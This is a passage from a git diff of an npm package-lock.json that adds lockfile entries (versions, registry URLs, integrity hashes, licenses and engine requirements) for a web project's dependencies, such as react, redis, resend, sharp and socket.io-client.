"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -3827,6 +7132,12 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/postal-mime": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/postal-mime/-/postal-mime-2.7.3.tgz", + "integrity": "sha512-MjhXadAJaWgYzevi46+3kLak8y6gbg0ku14O1gO/LNOuay8dO+1PtcSGvAdgDR0DoIsSaiIA8y/Ddw6MnrO0Tw==", + "license": "MIT-0" + }, "node_modules/postcss": { "version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", @@ -3895,7 +7206,6 @@ "version": "3.8.1", "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.1.tgz", "integrity": "sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg==", - "dev": true, "license": "MIT", "bin": { "prettier": "bin/prettier.cjs" @@ -3907,6 +7217,47 @@ "url": "https://github.com/prettier/prettier?sponsor=1" } }, + "node_modules/prismjs": { + "version": "1.30.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.30.0.tgz", + "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/property-information": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.1.0.tgz", + "integrity": "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, "node_modules/pump": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz", @@ -3926,6 +7277,45 @@ "node": ">=6" } }, + "node_modules/qs": { + "version": "6.15.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz", + "integrity": "sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, "node_modules/rc": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", @@ -3950,6 +7340,29 @@ "node": ">=0.10.0" } }, + "node_modules/react": { + "version": "19.2.5", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.5.tgz", + "integrity": "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.5", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.5.tgz", + "integrity": "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag==", + "license": "MIT", + "peer": true, + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.5" + } + }, "node_modules/readable-stream": { "version": "3.6.2", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", @@ -3964,6 +7377,28 @@ "node": ">= 6" } }, + "node_modules/redis": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/redis/-/redis-5.11.0.tgz", + "integrity": "sha512-YwXjATVDT+AuxcyfOwZn046aml9jMlQPvU1VXIlLDVAExe0u93aTfPYSeRgG4p9Q/Jlkj+LXJ1XEoFV+j2JKcQ==", + "license": "MIT", + "dependencies": { + "@redis/bloom": "5.11.0", + "@redis/client": "5.11.0", + "@redis/json": "5.11.0", + "@redis/search": "5.11.0", + "@redis/time-series": "5.11.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/reflect-metadata": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz", + "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==", + "license": "Apache-2.0" + }, "node_modules/remark-gfm": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz", @@ -4019,6 +7454,27 @@ "integrity": "sha512-iIhggPkhW3hFImKtB10w0dz4EZbs28mV/dmbcYVonWEJ6UGHHpP+bFZnTh6GNWJONg5m+U56JrL+8IxZRdgWjw==", "license": "Apache-2.0" }, + "node_modules/resend": { + "version": "6.9.2", + "resolved": "https://registry.npmjs.org/resend/-/resend-6.9.2.tgz", + "integrity": "sha512-uIM6CQ08tS+hTCRuKBFbOBvHIGaEhqZe8s4FOgqsVXSbQLAhmNWpmUhG3UAtRnmcwTWFUqnHa/+Vux8YGPyDBA==", + "license": "MIT", + "dependencies": { + "postal-mime": "2.7.3", + "svix": "1.84.1" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "@react-email/render": "*" + }, + "peerDependenciesMeta": { + "@react-email/render": { + "optional": true + } + } + }, "node_modules/resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -4038,6 +7494,15 @@ "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1" } }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, "node_modules/rollup": { "version": "4.60.1", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz", @@ -4083,6 +7548,22 @@ "fsevents": "~2.3.2" } }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, "node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", @@ -4103,6 +7584,40 @@ ], "license": "MIT" }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT", + "peer": true + }, + "node_modules/sdp-transform": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/sdp-transform/-/sdp-transform-3.0.0.tgz", + "integrity": "sha512-gfYVRGxjHkGF2NPeUWHw5u6T/KGFtS5/drPms73gaSuMaVHKCY3lpLnGDfswVQO0kddeePoti09AwhYP4zA8dQ==", + "license": "MIT", + "bin": { + "sdp-verify": "checker.js" + } + }, + "node_modules/selderee": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/selderee/-/selderee-0.11.0.tgz", + "integrity": "sha512-5TF+l7p4+OsnP8BCCvSyZiSPc4x4//p5uPwK8TCnVPJYRmU2aYKMpOXvw8zM5a5JvuuCGN1jmsMwuU2W02ukfA==", + "license": "MIT", + "dependencies": { + "parseley": "^0.12.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, "node_modules/semver": { "version": "7.7.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", @@ -4115,6 +7630,101 @@ "node": ">=10" } }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/sharp": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz", + "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@img/colour": "^1.0.0", + "detect-libc": "^2.1.2", + "semver": "^7.7.3" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.34.5", + "@img/sharp-darwin-x64": "0.34.5", + "@img/sharp-libvips-darwin-arm64": "1.2.4", + "@img/sharp-libvips-darwin-x64": "1.2.4", + "@img/sharp-libvips-linux-arm": "1.2.4", + "@img/sharp-libvips-linux-arm64": "1.2.4", + "@img/sharp-libvips-linux-ppc64": "1.2.4", + "@img/sharp-libvips-linux-riscv64": "1.2.4", + "@img/sharp-libvips-linux-s390x": "1.2.4", + "@img/sharp-libvips-linux-x64": "1.2.4", + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", + "@img/sharp-libvips-linuxmusl-x64": "1.2.4", + "@img/sharp-linux-arm": "0.34.5", + "@img/sharp-linux-arm64": "0.34.5", + "@img/sharp-linux-ppc64": "0.34.5", + "@img/sharp-linux-riscv64": "0.34.5", + "@img/sharp-linux-s390x": "0.34.5", + "@img/sharp-linux-x64": "0.34.5", + "@img/sharp-linuxmusl-arm64": "0.34.5", + "@img/sharp-linuxmusl-x64": "0.34.5", + "@img/sharp-wasm32": "0.34.5", + "@img/sharp-win32-arm64": "0.34.5", + "@img/sharp-win32-ia32": "0.34.5", + "@img/sharp-win32-x64": "0.34.5" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", @@ -4136,6 +7746,78 @@ "node": ">=8" } }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/siginfo": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", @@ -4188,6 +7870,34 @@ "simple-concat": "^1.0.0" } }, + "node_modules/socket.io-client": { + "version": "4.8.3", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.3.tgz", + "integrity": "sha512-uP0bpjWrjQmUt5DTHq9RuoCBdFJF10cdX9X+a368j/Ft0wmaVgxlrjvK3kjvgCODOMMOz9lcaRzxmso0bTWZ/g==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1", + "engine.io-client": "~6.6.1", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser": { + "version": "4.2.6", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.6.tgz", + "integrity": "sha512-asJqbVBDsBCJx0pTqw3WfesSY0iRX+2xzWEWzrpcH7L6fLzrhyF8WPI8UaeM4YCuDfpwA/cgsdugMsmtz8EJeg==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", @@ -4198,6 +7908,16 @@ "node": ">=0.10.0" } }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/stackback": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", @@ -4205,6 +7925,25 @@ "dev": true, "license": "MIT" }, + "node_modules/standardwebhooks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", + "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", + "license": "MIT", + "dependencies": { + "@stablelib/base64": "^1.0.0", + "fast-sha256": "^1.3.0" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/std-env": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", @@ -4221,6 +7960,20 @@ "safe-buffer": "~5.2.0" } }, + "node_modules/stringify-entities": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", + "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", + "license": "MIT", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", @@ -4234,6 +7987,35 @@ "node": ">=8" } }, + "node_modules/svix": { + "version": "1.84.1", + "resolved": "https://registry.npmjs.org/svix/-/svix-1.84.1.tgz", + "integrity": "sha512-K8DPPSZaW/XqXiz1kEyzSHYgmGLnhB43nQCMeKjWGCUpLIpAMMM8kx3rVVOSm6Bo6EHyK1RQLPT4R06skM/MlQ==", + "license": "MIT", + "dependencies": { + "standardwebhooks": "1.0.0", + "uuid": "^10.0.0" + } + }, + "node_modules/svix/node_modules/uuid": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-10.0.0.tgz", + "integrity": "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/tailwindcss": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.2.2.tgz", + "integrity": "sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==", + "license": "MIT" + }, "node_modules/tar-fs": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", @@ -4306,6 +8088,34 @@ "node": ">=14.0.0" } }, + "node_modules/toad-cache": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/toad-cache/-/toad-cache-3.7.0.tgz", + "integrity": "sha512-/m8M+2BJUpoJdgAHoG+baCwBT+tf2VraSfkBgl0Y00qIWt41DJ8R5B8nsEw0I58YwF5IZH6z24/2TobDKnqSWw==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/trough": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", @@ -4384,11 +8194,24 @@ "node": ">= 0.8.0" } }, + "node_modules/type-is": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz", + "integrity": "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==", + "license": "MIT", + "dependencies": { + "content-type": "^1.0.5", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, "node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, "license": "Apache-2.0", "bin": { "tsc": "bin/tsc", @@ -4436,6 +8259,12 @@ "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", "license": "MIT" }, + "node_modules/unhomoglyph": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/unhomoglyph/-/unhomoglyph-1.0.6.tgz", + "integrity": "sha512-7uvcWI3hWshSADBu4JpnyYbTVc7YlhF5GDW/oPD5AxIxl34k4wXR3WDkPnzLxkN32LiTCTKMQLtKVZiwki3zGg==", + "license": "MIT" + }, "node_modules/unified": { "version": "11.0.5", "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", @@ -4468,6 +8297,19 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/unist-util-stringify-position": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", @@ -4510,6 +8352,27 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/universal-github-app-jwt": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/universal-github-app-jwt/-/universal-github-app-jwt-2.2.2.tgz", + "integrity": "sha512-dcmbeSrOdTnsjGjUfAlqNDJrhxXizjAz94ija9Qw8YkZ1uu0d+GoZzyH+Jb9tIIqvGsadUfwg+22k5aDqqwzbw==", + "license": "MIT" + }, + "node_modules/universal-user-agent": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", + "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==", + "license": "ISC" + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", @@ -4519,12 +8382,36 @@ "punycode": "^2.1.0" } }, + "node_modules/url-template": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", + "integrity": "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw==", + "license": "BSD" + }, "node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", "license": "MIT" }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/vfile": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", @@ -4706,6 +8593,15 @@ } } }, + "node_modules/web-streams-polyfill": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", + "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, "node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", @@ -4774,6 +8670,20 @@ } } }, + "node_modules/xmlhttprequest-ssl": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", + "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": 